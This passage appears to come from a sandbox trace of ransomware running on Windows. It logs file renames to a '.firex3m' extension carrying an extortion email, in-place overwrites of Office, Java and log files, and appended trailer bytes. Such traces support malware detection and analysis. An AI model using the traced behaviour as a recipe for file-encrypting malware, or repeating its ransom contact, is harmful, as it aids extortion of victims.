(lpFileName="C:\\Logs\\Setup.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\setup.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0107.099] GetProcessHeap () returned 0x630000 [0107.099] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x721d210 [0107.100] GetProcessHeap () returned 0x630000 [0107.100] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7228640 [0107.100] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.100] ReadFile (in: hFile=0x700, lpBuffer=0x721d210, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721d210*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.788] GetProcessHeap () returned 0x630000 [0113.788] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0113.789] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.789] WriteFile (in: hFile=0x700, lpBuffer=0x7228640*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7228640*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.831] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.831] WriteFile (in: hFile=0x700, lpBuffer=0x7233a3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7233a3f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.831] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.831] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.832] CloseHandle (hObject=0x700) returned 1 [0114.316] GetProcessHeap () returned 0x630000 [0114.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7228640 | out: hHeap=0x630000) returned 1 [0114.316] GetProcessHeap () returned 0x630000 [0114.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721d210 | out: hHeap=0x630000) returned 1 [0114.318] GetProcessHeap () returned 0x630000 [0114.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0114.318] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0114.319] FindFirstFileW (in: lpFileName="C:\\Logs\\Setup.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa160e9a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xc3c7496, dwReserved1=0x721d208, cFileName="Setup.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SETUPE~1.FIR")) returned 0x6d5040 [0114.319] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0114.319] Sleep (dwMilliseconds=0x1) [0114.884] Sleep (dwMilliseconds=0x1) [0115.140] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.155] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.362] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 1 [0123.362] GetProcessHeap () returned 0x630000 [0123.362] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x164) returned 0x66a3e0 [0123.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0123.375] CloseHandle (hObject=0x410) returned 1 [0123.375] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP3B2D~1.FIR")) returned 0x6d53c0 [0124.756] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0124.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0124.756] GetProcessHeap () returned 0x630000 [0124.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7029d30 [0124.757] GetProcessHeap () returned 0x630000 [0124.757] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7035160 [0124.757] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.757] ReadFile (in: hFile=0x410, lpBuffer=0x7029d30, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7029d30*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.011] GetProcessHeap () returned 0x630000 [0128.011] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0128.012] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.012] WriteFile (in: hFile=0x410, lpBuffer=0x7035160*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7035160*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0130.014] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.014] WriteFile (in: hFile=0x410, lpBuffer=0x704055f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704055f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0130.023] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.023] WriteFile (in: hFile=0x410, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0130.023] CloseHandle (hObject=0x410) returned 1 [0130.040] GetProcessHeap () returned 0x630000 [0130.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7035160 | out: hHeap=0x630000) returned 1 [0130.040] GetProcessHeap () returned 0x630000 [0130.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7029d30 | out: hHeap=0x630000) returned 1 [0130.040] GetProcessHeap () returned 0x630000 [0130.040] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0131.503] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1376524a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xba607, dwReserved0=0xc3c7496, dwReserved1=0x7029d28, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP3B2D~1.FIR")) returned 0x6d4e00 [0131.504] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0131.504] Sleep (dwMilliseconds=0x1) [0131.530] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties", len=0x44 | out: pbstr=0x313ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties") returned 1 [0131.530] GetProcessHeap () returned 0x630000 [0131.530] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x44) returned 0x66a3e0 [0131.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0131.531] CloseHandle (hObject=0x694) returned 1 [0131.531] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.549] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEC127~1.FIR")) returned 0x6d4f40 [0134.549] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0134.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0134.549] GetProcessHeap () returned 0x630000 [0134.549] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xca1) returned 0x6fc37b8 [0134.550] GetProcessHeap () returned 0x630000 [0134.550] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xca1) returned 0x673b38 [0134.550] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.550] ReadFile (in: hFile=0x694, lpBuffer=0x6fc37b8, nNumberOfBytesToRead=0xc80, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc37b8*, lpNumberOfBytesRead=0x313ff0c*=0xc80, lpOverlapped=0x0) returned 1 [0134.588] GetProcessHeap () returned 0x630000 [0134.588] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0134.589] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.589] WriteFile (in: hFile=0x694, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x313ff0c*=0xc80, lpOverlapped=0x0) returned 1 [0134.589] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.589] WriteFile (in: hFile=0x694, lpBuffer=0x6747b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6747b7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.589] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.589] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.589] CloseHandle (hObject=0x694) returned 1 [0134.590] GetProcessHeap () returned 0x630000 [0134.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0134.590] GetProcessHeap () returned 0x630000 [0134.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc37b8 | out: hHeap=0x630000) returned 1 [0134.590] GetProcessHeap () returned 0x630000 [0134.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0134.590] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x162c3ad0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcbb, dwReserved0=0xc3c7496, dwReserved1=0x6fc37b0, cFileName="messages_it.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MEC127~1.FIR")) returned 0x6d5400 [0134.590] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0134.591] Sleep (dwMilliseconds=0x1) [0134.608] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", len=0x44 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 1 [0134.609] GetProcessHeap () returned 0x630000 [0134.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x184) returned 0x66a3e0 [0134.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0134.610] CloseHandle (hObject=0x6f8) returned 1 [0134.610] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.615] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0012~1.FIR")) returned 0x6d5440 [0134.616] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0134.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0134.616] GetProcessHeap () returned 0x630000 [0134.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27c1) returned 0x6fcaf20 [0134.616] GetProcessHeap () returned 0x630000 [0134.616] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x27c1) returned 0x6fcd6f0 [0134.616] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.616] ReadFile (in: hFile=0x6f8, lpBuffer=0x6fcaf20, nNumberOfBytesToRead=0x27a0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcaf20*, lpNumberOfBytesRead=0x313ff0c*=0x27a0, lpOverlapped=0x0) returned 1 [0136.629] GetProcessHeap () returned 0x630000 [0136.629] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0136.629] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.629] WriteFile (in: hFile=0x6f8, lpBuffer=0x6fcd6f0*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcd6f0*, lpNumberOfBytesWritten=0x313ff0c*=0x27a0, lpOverlapped=0x0) returned 1 [0136.629] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.629] WriteFile (in: hFile=0x6f8, lpBuffer=0x6fcfe8f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fcfe8f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.629] SetFilePointerEx (in: hFile=0x6f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.629] WriteFile (in: hFile=0x6f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.630] CloseHandle (hObject=0x6f8) returned 1 [0136.631] GetProcessHeap () returned 0x630000 [0136.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcd6f0 | out: hHeap=0x630000) returned 1 [0136.631] GetProcessHeap () returned 0x630000 [0136.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fcaf20 | out: hHeap=0x630000) returned 1 [0136.631] GetProcessHeap () returned 0x630000 [0136.631] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0136.631] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17622f81, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27c6, dwReserved0=0xc3c7496, dwReserved1=0x6fcaf18, cFileName="BL00122_.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BL0012~1.FIR")) returned 0x6d53c0 [0136.631] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0136.631] Sleep (dwMilliseconds=0x1) [0138.440] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml", len=0x52 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml") returned 1 [0138.440] GetProcessHeap () returned 0x630000 [0138.440] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a60) returned 0x72b0508 [0138.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0138.441] CloseHandle (hObject=0x69c) returned 1 [0138.441] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.441] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 